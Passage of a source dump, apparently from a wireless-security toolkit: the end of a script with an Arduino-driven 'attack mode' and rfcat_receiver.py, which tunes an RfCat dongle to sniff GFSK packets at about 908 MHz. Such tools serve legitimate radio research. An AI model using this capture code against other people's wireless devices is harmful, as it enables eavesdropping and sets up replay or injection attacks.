354 | 
355 |             except Exception:
356 |                 print red("[ERROR] The serial port [%s] is not valid, or you don't have permission\n") % args.port
357 |                 exit_clean()
358 | 
359 |         else:
360 |             parser.print_help()
361 |             print red("[ERROR] Attack mode requires Arduino serial port location")
362 | 
363 |         run_flowgraph()
364 | 
365 |     else:
366 |         run_flowgraph()
367 | 
368 | if __name__ == '__main__':
369 |     main()
370 |     exit_clean()
371 | 
372 | # vim: shiftwidth=4 softtabstop=4
373 | 


--------------------------------------------------------------------------------
/scripts/rfcat_receiver.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python2
 2 |  
 3 | import sys
 4 | import time
 5 | from rflib import *
 6 | from binascii import hexlify, unhexlify
 7 | 
 8 | #These values will be most likely incorrect for your environment and target radio. Change them accordingly.
 9 | 
10 | def ConfigureD(d, freq):
11 |     d.setModeIDLE()
12 |     d.setMdmModulation(MOD_GFSK)
13 |     d.setFreq(freq)
14 |     d.setMdmDeviatn(19042.969)
15 |     d.setMdmChanBW(101562.5)
16 |     d.setMdmDRate(38383.5)
17 | #    d.setMdmChanSpc(199951.172)
18 |     d.setMdmChanSpc(51000)
19 |     d.setMdmSyncWord(0xd391)
20 |     d.setMdmSyncMode(SYNCM_CARRIER)
21 |     d.setEnablePktCRC(1)
22 |     d.setEnablePktDataWhitening(0)
23 |     d.setEnablePktAppendStatus(0)
24 | #    d.makePktFLEN(0xff)
25 |     d.makePktVLEN()
26 |     d.printRadioConfig()
27 | 
28 | def main():
29 | 
30 |         try:
31 |             if len(sys.argv) != 2:
32 |                 print "Usage   : %s 908000000" % sys.argv[0]
33 |                 sys.exit(0)
34 | 
35 | 	    d = RfCat()
36 | 	    ConfigureD(d, long(sys.argv[1]))
37 | 	    d.setModeRX() 
38 | 
39 | 	    while True:
40 | 		pkt   = d.RFrecv(timeout=120000)
41 | 		frame = hexlify(pkt[0])
42 |                 print "[rfcat recv] : '%s'\n" % (frame)
43 | 
44 |         except KeyboardInterrupt, e:
45 |             print("W: interrupt received, proceeding")
46 |             print e
47 | 
48 |         finally:
49 | 	    d.setModeIDLE()
50 | 	    sys.exit(0)
51 | 
52 | if __name__ == '__main__':
53 |     main()
54 |     RfCat().setModeIDLE()
55 |     sys.exit(0)
56 | 


--------------------------------------------------------------------------------